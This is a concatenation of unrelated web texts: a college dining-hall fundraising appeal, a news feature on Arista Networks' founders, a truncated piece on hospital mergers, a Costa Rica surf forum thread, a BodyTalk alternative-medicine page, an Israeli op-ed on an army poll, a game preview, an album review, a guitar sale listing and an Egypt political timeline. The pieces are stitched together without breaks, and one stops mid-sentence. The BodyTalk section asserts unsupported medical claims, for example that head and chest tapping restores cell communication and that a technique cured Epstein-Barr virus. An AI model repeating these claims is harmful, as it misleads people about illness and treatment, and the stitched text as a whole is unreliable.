The Strachan Hall dining room will undergo careful cleaning and restoration, which will return the hall to its original splendor. Care will be taken to ensure that the historic features, art, and architecture of the dining hall are not altered. The restoration will include cleaning the trussed roof, restoring the chandeliers, and cleaning the 17th-century Flemish tapestry.
This project will dramatically improve the quality of the student experience at Trinity College. It will also preserve the traditions and the fond memories that are shared by all of our alumni.
The Table and Chair Naming Campaign
The students of Trinity College have committed $300,000 of their own funds to the Strachan Hall Restoration Project. This is an extraordinary affirmation of the importance of Strachan Hall to Trinity Students.
In response, we are challenging the alumni and friends of Trinity to raise $300,000 in matching funds. Donations will be used to supplement the student contribution to the restoration of Strachan Hall and to help fund the associated kitchen renovation. To achieve this goal, Trinity is offering alumni and friends the opportunity to permanently name a chair or a table in Strachan Hall. This is an ideal way for you to have your name visibly connected with the centre of student life at Trinity or to honour a friend or family member. Names will be inscribed on plaques. The dining room chair plaques will be prominently placed on the back of the chair, and High Table chair plaques will be on the arm of the chair. Table plaques will be affixed at the mid-point of the side edges so as to be visible on both sides of the table. There are 240 dining room chairs and 24 student tables available for naming. Also available for naming are the three tables that make up the High Table, 12 High Table chairs, and the round table at the Oriel Window.

Ken Duda isn't as celebrated as his partners, two guys who've made oodles from Google but aren't named Larry and Sergey. At the ultra-geeky supercomputing trade show in Reno last November called SCO '07, Duda might have been just another face in the crowd, if not for the metal box he brought along.
That thing got plenty of attention. Engineers were stunned, Duda recalled, as he explained that, yes, we've really packed 48 ports of 10-gigabyte Ethernet in there. He could also boast that was the "first switching solution with an extensible modular network operating system."
If that's all geek to you, suffice it to say that Duda's stealthy start-up, then called Arastra, had pretty much compressed a refrigerator-size rack of networking gear into a pizza box, reducing its cost and energy consumption in the process. Over the next year, Arastra quietly began collecting an array of sophisticated customers, such as Lawrence Livermore National Laboratory. (Another, reportedly, is Google, but they're not supposed to talk about that.)
Only recently has this nuclear submarine of a company come to the surface, brandishing a new name, Arista Networks, and a pending trademark: "Cloud Networking." Arista for the first time was also touting the identities and potent pedigrees of Duda's fellow founders: Sun Microsystems co-founder Andy Bechtolsheim and Stanford University computer science Professor David Cheriton.
Bechtolsheim and Cheriton rank among the dynamic duos of Silicon Valley, having prospered from a friendship that began when Bechtolsheim was a Stanford student and Cheriton arrived as a young professor. Arista is the third start-up they've teamed up to launch, while nurturing several others as angel investors.
Contemporary valley lore features the tale of how, in 1998, Cheriton introduced Bechtolsheim to his students Larry Page and Sergey Brin, and Bechtolsheim later provided their first seed investment — a $100,000 check written out to "Google" even before the start-up had a bank account. (That investment would later be estimated to be worth $1.5 billion.)
As Bechtolsheim recalled it, he first met Cheriton in 1980 while he was working on the Unix workstation that would later provide the inspiration for Sun Microsystems. "He said, 'Your hardware has a bug.' I said, 'Who are you?' "
Cheriton said his plans of writing a computer science text have been frequently delayed by start-ups. "Now I'm a little gun-shy saying I'm working on a book. People think I'm doing a start-up."
'Faster, better'
Bechtolsheim and Cheriton envision big things for Arista in the growing industry of cloud computing. They are challenging companies such as Foundry Networks, Extreme Networks and Force10 with a technology said to deliver on the mantra of "faster, better, cheaper." Their previous start-ups — Granite Networks, founded in 1995, and Kealia, founded in 2001 — were both sold in the midst of product development to Cisco Systems and Sun, respectively.
Sun's acquisition of Kealia made headlines because it brought Bechtolsheim back to Sun with the title of chief architect, returning him to the iconic valley company that was largely based on the Unix workstation he built as a Stanford grad student.
To Bechtolsheim's chagrin, media reports about Arista's launch focused on his departure from Sun — another blow for the struggling company. "It was embarrassing," said Bechtolsheim, who has maintained an advisory role with Sun while turning his energies to Arista.
Arista's founders are thinking big. "It does remind me of the first day of Sun in 1982," Bechtolsheim said a bit wistfully in an interview inside Arista's rented quarters in the basement of the otherwise vacant Heller Ehrman Venture Law building on Middlefield Road in Menlo Park. The law firm recently went out of business.
While Granite and Kealia opted for acquisitions, Bechtolsheim said the objective for Arista — now with about 50 employees, almost all engineers — is to grow it into a robust company that will ultimately merit an initial public stock offering (IPO) on Wall Street. To guide the company, founders recruited former Cisco executive Jayshree Ullal as chief executive.
Ullal estimates that Arista will compete in a market that will be worth $3 billion to $5 billion in the next three years, while some analysts suggest it could be twice that large.
The timing seems auspicious. Cloud computing — a mega-trend that is shifting computer processes from desktops and on-site networks to the vast, complex data-center infrastructure of the Internet — is at an inflection point, with Microsoft joining Google, Amazon and SalesForce.com as major drivers of the phenomenon. Ullal likened Arista's product to replacing a home's weak foundation with a strong one.
Even an ugly recession might serve to help Arista, says Bechtolsheim, the company's chairman. The search for savings is driving more companies to use on-demand back-office software, one of the provinces of cloud computing. "The bad economy is our friend here," he said.
While conditions on Wall Street have put a deep freeze on IPOs, Bechtolsheim points out that several major tech companies — including Sun, Microsoft, Apple and Google — were either conceived or nurtured during a weak economy.
"When the economy comes back," he said, "we'll be well positioned."
If Arista has an explosive IPO, venture capitalists may be left to cheer from the sidelines. Arista is a reminder that not all valley start-ups are created equally — not when some founders' pockets are so deep. Bechtolsheim said $50 million was committed to the Arista effort by the founders personally, but only a fraction has been spent since work began in earnest in October 2004, at quarters on Arastradero Road, which inspired the original name Arastra.
A request from Google
The idea for the company grew out of a Google request to technologists to devise ways to reduce networking infrastructure costs. Duda, who had been a doctoral candidate under Cheriton and later became Granite's first employee, became the point person, and several other Granite veterans were recruited to form the core engineering team.
The lack of need for venture capital helped the start-up develop its own culture. Most start-ups trumpet funding rounds, because the investment represents an endorsement of their efforts. Duda said he was proud they had nurtured "an engineering culture I really believe in." He described it as "extremely open and flat, not hierarchical."
Initially, Bechtolsheim said, efforts were focused exclusively on a software solution, but it proved a difficult business model. Then a new semiconductor produced by a Southern California start-up called Fulcrum made it possible to combine the technologies into a rectangular box only 13/4 inches thick.
The initial product, the founder says, represents just a start. Many other devices are envisioned, but Bechtolsheim and Ullal discourage suggestions that Arista may someday take on Cisco, the dominant networking giant.
Although Bechtolsheim's and Cheriton's role gradually leaked out, their start-up shunned publicity, Bechtolsheim said, preferring to let the product get traction first. "We didn't want to start selling until we knew it was working," he said.
BitGravity, a Burlingame start-up that delivers high-definition video content over the Internet, was one company that embraced Arista's technology before learning that Bechtolsheim and Cheriton were involved.
BitGravity CEO Perry Wu said he was impressed by how Arista's team worked with BitGravity in addressing technical issues that arose, making the technology better. "It really lived up to its promise," he said.
Arista attracted 50 customers before its public launch without a formal sales and marketing operation, Bechtolsheim said, including many major financial institutions that appreciate how Wall Street transactions are moved at lightning speed measured in microseconds.
Most customers don't want their names revealed, Bechtolsheim said. Ironically, the list appears to include Google.

All across America, hospitals are merging. In 2014 alone, there were 95 mergers, acquisitions, and joint ventures among U.S. hospitals, down only slightly from 98 in 2013. What's fueling this strong trend toward hospital consolidation -- and more importantly, why should you, as a consumer of health care, be concerned about it?
Like many stories, there are two sides to this one.
Hospital administrators who create the mergers tell one side of the story. They believe that hospital consolidation improves efficiency, access to care and quality of care, and may lower costs because in theory, the more care a hospital provides, the more efficient and less...

I was wondering if anyone could give me any help at all. During the second week of June I get to tag along on my buddys family trip to Costa Rica. They got some sort of deal cuz last year the resort canceled on them or something. But anyways were staying at Paradisus playa conchal. I was wondering if anyone knew anything about where the best surf is around there, and just what to expect/need to know, etc. any help would be appreciated as i have never surfed outside the country.

Paradisius is the nicest resort i have ever seen. it is fan-fargin-tastic. food, drink and accommodations are world class. nice golf course if you are into that. snorkeling and kayaking in the cove in front of the resort is nice. if you leave the resort and walk north, up and down a hill for about 300 yards you come to a little reef break called 'brasilito.' it breaks at high tide only. I surfed it a couple of years ago while staying at paradisius. a very easy wave to catch and ride. not much of a challenge, but lots of fun. lots of young locals surf there and everybody is friendly. the left breaks longer, and the right is steeper and faster.
rent a car or take a taxi to playa grande for some more of a challenge. that is about a 20 minute drive away. rent a car or take a taxi into tamarindo--about a 30 minute drive. roads are bumpy, but easy to navigate--signs tell you where to go.
you will not regret going to this place it is fargin awesome.

this is the wave at brasilito. not a challenge. a nice intoduction to travel surfing. easy paddle out, no leash required. nice scenery. friendly locals.
if the airline does not rape you on oversize baggage, bring a board (a fish is great). if you cannot bring a board, there is a High Tide Sports outfitter on the resort (or at least there was two years ago when we stayed there). they rented kayaks and boogie boards, and could probably get a board sent in from their main shop in tamarindo.
be nice to the ticos (locals) and they will be great to you. the only wankers i met down there were american. don't leave valuables lying around unattended. be careful of rocks (and the sea urchins in them). wear lots of waterproof sunscreen.
pm me if you want more info or to see pics of the resort.

What is BodyTalk
What is Bodytalk?
BodyTalk is a unique, comprehensive,natural, complementary, alternative healthcare system.
BodyTalk is energy/consciousness medicine that assists your body to heal itself. Addressing your whole life story, and by dealing with the causes behind the symptoms, it releases: - anxiety behind past/present traumas, old belief systems that no longer serve you and suppressed emotions; thus neutralising disturbed energy in the cells of the body that previously caused pain and illness.
This means that pain can disappear, attitudes can change and the personality can grow.
BodyTalk uses biofeedback from Innate Wisdom - your body's intuitive healing intelligence - to discover the most important techniques needed to get your body talking.
We link up parts of the bodymind in order to restore communication of cells, organs and bodyparts.
A structured way of questioning the bodymind is used, by following a protocol chart (right) to determine the techniques needed to restore normal functioning of cells, in a sequence of priority indicated by Innate Wisdom. When all the relevant information is found, it is implemented using a gentle tapping of the head - waking up the brain to process information found and tapping of the chest - storing and updating the changes in the body.
It promotes health, vitality and well-being, allowing you to become your natural vibrant self - without drugs or side effects and is completely pain-free. It is gentle, safe, non-invasive and effective in its results.
Why do we get ill?
Ill health is caused by the communication systems in the body breaking down due to stress of the bodymind.
Stress is the main cause of problems in the communication systems. Stress in the body is caused by toxins, drugs, radiation, lack of nutrition, electromagnetic fields from electronic equipment, i.e. microwaves, radio waves, mobile phones, T.V.'s, computers, etc and by environmental factors - shock, trauma and overwhelm, and so on, affecting emotional/psychological states.
BodyTalk restores communication within the bodymind. There are trillions of cells in the body, processing billions of communications every second. Every cell in the body has a membrane that has transmitter and receptor sites that send and receive information to and from other cells. When we suppress our emotions, the receptor sites hold onto the energy of the emotion. When cells become overloaded, they cannot function efficiently. The cells become stressed and cannot communicate effectively. The body expresses this disruption through symptoms and illness, either on a physical, emotional, mental or an energy level.
With BodyTalk, you don't need to talk about anything that you are uncomfortable with. You can merely think about the issue and using biofeedback I can determine if you are focusing on the correct issue needing to be addressed. It is not a talking therapy.
The History of BodyTalk
Dr John Veltheim is the creator of The BodyTalk System. He is Australian and became interested in Eastern philosophies at the age of 8, when he learnt karate and later became a karate instructor. During this time he had many injuries and his subsequent visits to chiropractors led him to become one himself. He also studied and became an acupuncturist and naturopath. He also studied Bioenergetic Psychology (psychology of the body).
He was also a lecturer at the Brisbane College of Chinese Medicine & Natural Therapies, where he became Principal for several years.
Being ill himself, he studied many different therapies in order to find a cure. He had McArdles syndrome and the Epstein Barr virus which left him with chronic fatigue , which meant he had to stop work for a while.
He travelled the world in search of a cure while he taught Reiki and Mindscape (see IBA website, http://www.bodytalksystem.com). During this time, he met Dr Tracy Livingstone - an osteopath and accupuncturist. She discovered a technique that was effective in curing the Epstein Barr virus which she used on Dr John Veltheim. He was subsequently cured of the illness.
He further developed the technique which is now a part of the BodyTalk System.
By combining the knowledge of eastern and western medicines he was able to produce a holistic natural healthcare system that he called BodyTalk™.
He brought BodyTalk to the Uk in the early 1990's and set up the International BodyTalk Association in Florida in order to get it established.
It is now taught worldwide in 40 countries and taught in several different languages.

Pollster, Stand to Attention
Soldiers are not allowed to hitchhike, but the IDF chief of staff, Gabi Ashkenazi, allows himself to hop a ride on a poll called Omnibus, an odd combination: berry-flavored yogurt with a Cast Lead-flavored artillery shell.
It was a hot and muggy evening. The telephone rang. Caller ID was blocked. A female voice spoke. And it was a quiz: Miki, Miki and Gabi. Which was the odd one out? Those who answer correctly will be entered into a drawing for an air conditioner.
"I am speaking from the Shiluv ["combination" in Hebrew] Market Research Institute," the caller announced. "Perhaps you would agree to answer some questions on the subject of Channel 10, air conditioners and the army?" Absolutely, an interesting combination. If the Israel Defense Forces doesn't have combined staffs, at least it has a General Staff that employs Shiluv. Soldiers are not allowed to hitchhike, but the IDF chief of staff, Gabi Ashkenazi, allows himself to hop a ride on a poll called Omnibus, an odd combination: berry-flavored yogurt with a Cast Lead-flavored artillery shell.
"What is your opinion of Channel 10? Was the crisis at the station the result of the stars' salaries or competition with Channel 2 or...?" Up to this point, Miki referred to Channel 10 newscaster Miki Haimovich. From here on, it was film producer Miki Rosenthal. "Did you see the film about the Ofer brothers and/or the Ofer brothers' response and/or the discussion...?" Miki twice, so what about Gabi? Not yet. It's time for the air conditioner. Which air conditioner manufacturer is the most well-known, the best, the one that deals with summer's discomfort best? Maybe, by chance, our client? Air conditioner, air conditioner, on the wall, who is the coolest of them all?
And now, finally, the cherry, the Duvdevan unit, of the IDF's West Bank division, the million shekels in the mattress, the grease in the hazing ceremony, the chief of staff, Lt. Gen. Gabi Ashkenazi. When the entourage of the chief of staff enters the survey playing field, the couch potatoes are asked to rise.
"What is your opinion as to the credibility of the IDF spokesman? From one to four, how would you rate the professionalism of the IDF Spokesman's Office? Are you lacking operational reports, articles about military exercises, stories about battle traditions? Equipment?" No, not the equipment itself. This isn't the quartermaster's store. There is no equipment here and won't be. This is just a survey. "Do the senior commanders, and with the chief of staff at the top, appear in the media too little, too much, or just the right amount?"
And now the cat's out of the army kitbag. The entire survey was designed to answer one fateful question: If the time has come to have Ashkenazi join Breaking the Silence. Two and a half long years after he assumed office, and four and a quarter short years before the October 2013 elections, is the chief of staff correct in the vow of silence that he imposed upon himself? Ashkenazi asks. The public responds. And that's his right, because Ashkenazi requests it, but the public pays. An open question, or maybe there is a motive behind it - to reinforce Ashkenazi's tendency with the scientific findings to be silent, and alternatively to convince Ashkenazi that the public is yearning for him to utter something.
The same public, the data which is ingested by the decision makers, amount to about 500 kind or bored respondents from among 4,000 to 5,000 people reached by phone. Those questioned are not at all similar to the average Israeli, who is suspicious, impatient and tired of the unwanted phone calls and recorded messages, and who slams polls, according to the pollsters. Only one in eight or 10 is good enough to nod in agreement and respond with an answer, by the way, by staring at the dog or petting the television, or the opposite, to help out the nice college student whose earning a living at the telephone call center. How trustworthy is the IDF spokesman? Four, four for sure. Oh, four is the lowest? So two.
This fictitious public, on whose opinion the officers rely in order to celebrate the prestige reflected in the polls, is far from representing the citizens of Israel in another important respect. The 500 in the battalion of sorts must be in the right age group, 18 to 49, or must lie and say they are in the age group. Ashkenazi, for example, is too old to tell the pollsters if he thinks Ashkenazi should talk. About half of the Israeli population is disqualified because they are too young or old. Maybe they are lost on the air-conditioning sales people. It's a shame that the IDF is also passing them up.
The pleasure is not expensive. Five hundred shekels per question, the hitchhiker's share of the cost of the trip with Miki and Miki and Tornado air conditioners to your sister. Ten questions, NIS 5,000, about the amount that Ashkenazi wasted on IDF gifts for Ehud Olmert on his way out of the Prime Minister's Office and into court. The IDF, it was once said, is not a listener request program. It's always fighting or getting ready for fighting, or analyzing the results of surveys asking the public what they think of the fighting.

InXile Entertainment - Preview for Hunted: Demon's Forge @ Game Revolution
by Aries100, 2010-04-02 08:53:42
GameRevolution has made a preview for Hunted: Demon's Forge. Here's a snip:
While the plot starts you off on the familiar quest of epic lootage that fans of the genre are all too familiar with, the real point at which Hunted becomes its own game is in the gameplay. This is not a game that will saturate you with menus and character management. In fact, it seems more like a wizards and dragons version of Gears of War than it resembles any RPGs I can recall playing in the recent past. It's an oversimplification, but that's essentially what you can look forward to, only instead of chainsaw guns, you get magic spells and ice arrows, which is a fair trade-off.

"Techno without the technology", they apparently call it. And I really like that.
Brandt Brauer Frick, an ensemble hailing from Berlin who pedal an inventive, playful line in the kind of motorik Krautrock grooves their homeland claims mastery of, are a dance trio first and foremost, but their huge grooves are created out of a dogged determination to stick with classical, traditional, rarely out of the ordinary instrumentation rather than a reliance on samplers, sequencers and laptops. Whilst that might strike some as an unnecessary attempt to un-invent the wheel, what it seems to have provided themwith is their own distinct edge, not to mention an utterly thrilling live show. Perhaps what makes Brandt Brauer Frick's dance music hit harder than most you'll hear is that they're actually physically able to hit their instruments with more force than many of their latop-tapping contemporaries.
Miami, their third LP in three years since forming, isn't a straight up dance record however, for BBF are not a straight up kind of band. A darker, rougher beast than either of its predecessors, it's a highly expansive piece of work that bravely opens on a ten minute dirge of discordant piano and trembling cellos called 'Miami Theme', a thoroughly cinematic turn that bears no resemblance to the excellent four to the floor banger 'Ocean Drive' that follows it. Two tracks in, and you're already convinced of the group's diverse powers, seemingly capable as they are of soundtracking both a night at an independent film house and a hedonistic shape-throwing session in a dingy Berlin warehouse.
The latter of those skills is the most instantly rewarding, of course – especially when they harness Jamie Lidell often better than he does himself on the exhilarating 'Broken Pieces', and turn to Nina Kraviz to front the overlapping rhythms and jarring keyboard swirls of 'Vewahrlosung' with vocals that range from guttural moans to crazy cat lady yelps via creepy whispers and incoherent mumbles. Yet though the more ominous numbers like the wholly intimidating, tuba-heavy 'Miami Drift' (which sounds like a disco on Das Boot) and the closing 'Miami Titles' are less likely to get one dancing, they provide the record with an extra level of intrigue often lacking from other dance music albums – honestly, how many do you regularly listen to as a whole? – a depth of feeling that lifts this from a collection of pretty good dance songs to an album of pretty great songs in more general sense.
Even at its slowest, everything on Miami seems to have a rhythmic purpose. The speed of your nodding along will peak and trough, but never completely peter out – even the words used by the guest vocalists seem specifically picked to be the most percussively pleasing. It turns out the titling and repetitive use of the word "Miami" is also a result of this obsession. As they put it – "It's just a word that sounds good. Would Miami be as iconic if it was called something else?" Clearly, Brandt Brauer Frick are a band who like to think long and hard about how exactly they'll move our bodies.

1920 Gibson L1 archtop guitar
This guitar is no longer for sale (sold on 2008-06-26)
Price : US $1,003.
Up for auction is my 1920 Gibson L1 round hole archtop guitar, serial number 60507 (as best as I can make out the somewhat faint pencil writing). Original tuners work fine, fat V neck is dead on straight. The guitar is very solid, no loose braces, joints or seams. Bridge and tailpiece are recent replacements that I bought from Luthiers Mercantile and put on myself. The finish is the classic brown used by Gibson on mandolins and guitar during that period, and is pretty worn. I think it gives it that vintage beauty. The back is particularly beat up and it looks like some liquid was spilled on it. As can be seen in the photo, someone installed a rectangular pickup in the soundhole at one time and carved the hole a bit to do it.
It's has plenty of volume (not as much as a dreadnaught but pretty good for an archtop). Tone is a mix between the jazzy quick decay of an archtop and the more ringing tone of a flat top. Great for old time or blues. Frets are in good shape and I would guess (but can't be certain) that they're original.
I bought it to satisfy my desire for an old Gibson, but then I bought and old J45 so this one's gotta go to help pay for the new one. This is a cool old guitar and very playable.
No case, but I will package it to arrive safely. Please email for more pics or questions.
Can pay by paypal for quick turn around, money order, or personal check but I would wait until it clears before I ship. Buyer to pay shipping. I'm never sure how much it will cost to ship a guitar but $40 is in the ballpark, so let's just call it that.%3
This guitar is sold (sold on 2008-06-26)

Egypt's highest court insisted Monday that a critical ruling issued last month, that the Islamist-dominated parliament was illegally elected, is final and binding. This sets up a showdown between the military, which acted on the court ruling and dissolved the legislature, and newly-elected Islamist President Mohammed Morsi, who has ordered it to reconvene.
The new crisis means that the political instability that followed the February 2011 overthrow of Hosni Mubarak will continue. Here are some key events from nearly 17 months of turmoil and transition.
Jan. 25, 2011 - Egyptians hold nationwide demonstrations against the authoritarian rule of Mubarak, who has led the country for three decades, in what would become known as the Arab Spring.
Jan. 26 - A large security force moves into Cairo's Tahrir Square, beating and arresting protesters, using rubber bullets and tear gas. Three protesters are killed - among the first of what will become about 900 dead in clashes in the uprising.
Jan. 28 - Protesters burn down the ruling party's headquarters and the military is deployed. Police virtually vanish from Egypt's streets, leading to a wave of looting, robbery and arson.
Feb. 11 - Mubarak steps down and turns power over to the military. Two days later the body of top generals, the Supreme Council of the Armed Forces, dissolves parliament and suspends the constitution, meeting two key demands of protesters.
Nov. 28 - Voting begins in Egypt's first parliamentary elections since Mubarak's ouster. The election is staged over a period of several weeks and concludes in January with nearly half the seats won by the previously banned Muslim Brotherhood.
April 20, 2012 - The presidential campaign officially begins. A first round of voting on May 23-24 sees Morsi and Ahmed Shafiq, the last prime minister under Mubarak, emerging as the top two vote-getters.
June 14 - The Supreme Constitutional Court rules that a third of the Islamist-dominated lower and more powerful house of parliament, the People's Assembly, was elected illegally and that this rendered the whole chamber invalid. The military swiftly closes down parliament.
June 16-17 - Egyptians vote in a runoff election between Morsi and Shafiq. The generals issue a "constitutional declaration" giving them sweeping authority to maintain their grip on power and limiting the powers of the president.
June 24 - Election officials declare Morsi the winner of Egypt's first free election with 51.7 percent of the vote.
June 29 - Morsi, now president-elect, delivers a rousing speech in Tahrir Square, vowing to fight on behalf of the people and defying the ruling generals by reading a symbolic oath of office a day early at the site where the uprising was born.
June 30 - Morsi takes his formal oath before the Supreme Constitutional Court.
July 8 - Morsi issues a surprise decree overruling the generals' dissolution of parliament. He makes no mention of the court ruling. Hours later the generals convene an "emergency meeting."
July 9 - The court meets in its own emergency session and insists that its ruling is final and binding. Saad el-Katatni, the Muslim Brotherhood speaker of the People's Assembly, says that the legislature will nonetheless reconvene on Tuesday. The parliament building remains under police guard as Brotherhood supporters gather outside.
